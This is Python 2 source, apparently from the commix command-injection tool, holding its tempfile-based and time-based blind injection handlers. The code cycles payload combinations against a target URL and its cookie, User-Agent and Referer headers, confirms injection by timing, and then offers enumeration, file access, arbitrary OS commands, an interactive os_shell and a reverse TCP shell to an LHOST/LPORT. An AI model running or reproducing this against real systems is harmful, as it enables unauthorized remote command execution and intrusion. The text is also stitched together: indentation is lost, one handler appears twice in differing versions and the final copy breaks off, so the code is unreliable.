def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
url_time_response):
# percent = "0.2"
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
how_long_statistic = 0
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
# percent = str(percent)+ "%"
# sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
# sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY +
"(~) Payload: " +
payload.replace("\n", "\\n") +
Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tfb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(
payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
# Statistical analysis in .
how_long_statistic = how_long_statistic + how_long
if output_length == tag_length - 1:
how_long_statistic = 0
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
if len(TAG) == output_length and \
how_long > (how_long_statistic / output_length):
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "echo $((" + str(
randv1) + " + " + str(
randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(
separator, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
randvcalc, alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent) + "%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and (is_vulnerable
== True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
if settings.TARGET_OS == "win":
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n] > "
).lower()
if file_access_again in settings.CHOISE_YES:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, delay,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline,
'__doc__', ''
) is not None and 'libedit' in getattr(
readline,
'__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete"
)
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input(
"""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload,
TAG, cmd, prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp(
)
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(
lhost,
lport)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(
separator,
http_request_method
)
whitespace = settings.WHITESPACES[
0]
response = cb_injector.injection(
separator, TAG,
cmd, prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
delay,
http_request_method,
url, vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename,
url_time_response)
# Export injection result
tfb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(
separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG,
cmd, prefix, suffix,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
raise
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
again_warning = True
false_positive_warning = False
export_injection_info = False
how_long = 0
how_long_statistic = 0
injection_type = "Blind Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = "".join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, delay, http_request_method
)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write(
"\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
# Injection percentage calculation
percent = (num_of_chars * 100) / total
float_percent = "{0:.1f}".format(round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
):
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Windows targets.
if settings.TARGET_OS == "win":
if how_long > (how_long_statistic / output_length):
false_positive_fixation = True
else:
false_positive_warning = True
# Unix-like targets.
else:
if (
delay == 1
and (how_long_statistic == delay)
or delay > 1
and (how_long_statistic == (output_length + delay))
and how_long == delay + 1
):
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning and again_warning:
again_warning = False
warning_msg = (
"(^) Warning: Unexpected time delays have been identified due to unstable "
)
warning_msg += "requests. This behavior which may lead to false-positive results."
sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
print ""
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = (
settings.WIN_PYTHON_DIR
+ 'python.exe -c "print ('
+ str(randv1)
+ " + "
+ str(randv2)
+ ')"'
)
else:
cmd = (
"powershell.exe -InputFormat none write ("
+ str(randv1)
+ " + "
+ str(randv2)
+ ")"
)
else:
cmd = "(" + str(randv1) + " + " + str(randv2) + ")"
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
randvcalc,
alter_shell,
how_long,
url_time_response,
)
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (
url_time_response != 0
and (how_long - delay) > 0
and (how_long >= delay + 1)
)
):
if str(output) == str(randvcalc) and len(TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write(
"\r(*) Testing the " + technique + "... " + "[ " + percent + " ]"
)
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
# Yaw, got shellz!
# Do some magic tricks!
if (
(url_time_response == 0 and (how_long - delay) >= 0)
or (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay))
or (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1))
):
if (len(TAG) == output_length) and (is_vulnerable == True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = (
" '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
)
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type, technique
)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method, vuln_parameter, payload
)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace("\n", "\\n")
) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
tb_enumeration.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_enumeration.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOISE_YES:
tb_file_access.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_file_access.do_check(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
sys.exit(0)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, "__doc__", ""
) is not None and "libedit" in getattr(readline, "__doc__", ""):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input(
"""commix("""
+ Style.BRIGHT
+ Fore.RED
+ """os_shell"""
+ Style.RESET_ALL
+ """) > """
)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique, go_back, no_result
)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import (
cb_injector,
)
separator = checks.time_based_separators(
separator, http_request_method
)
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
# Export injection result
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
url_time_response,
)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long
)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
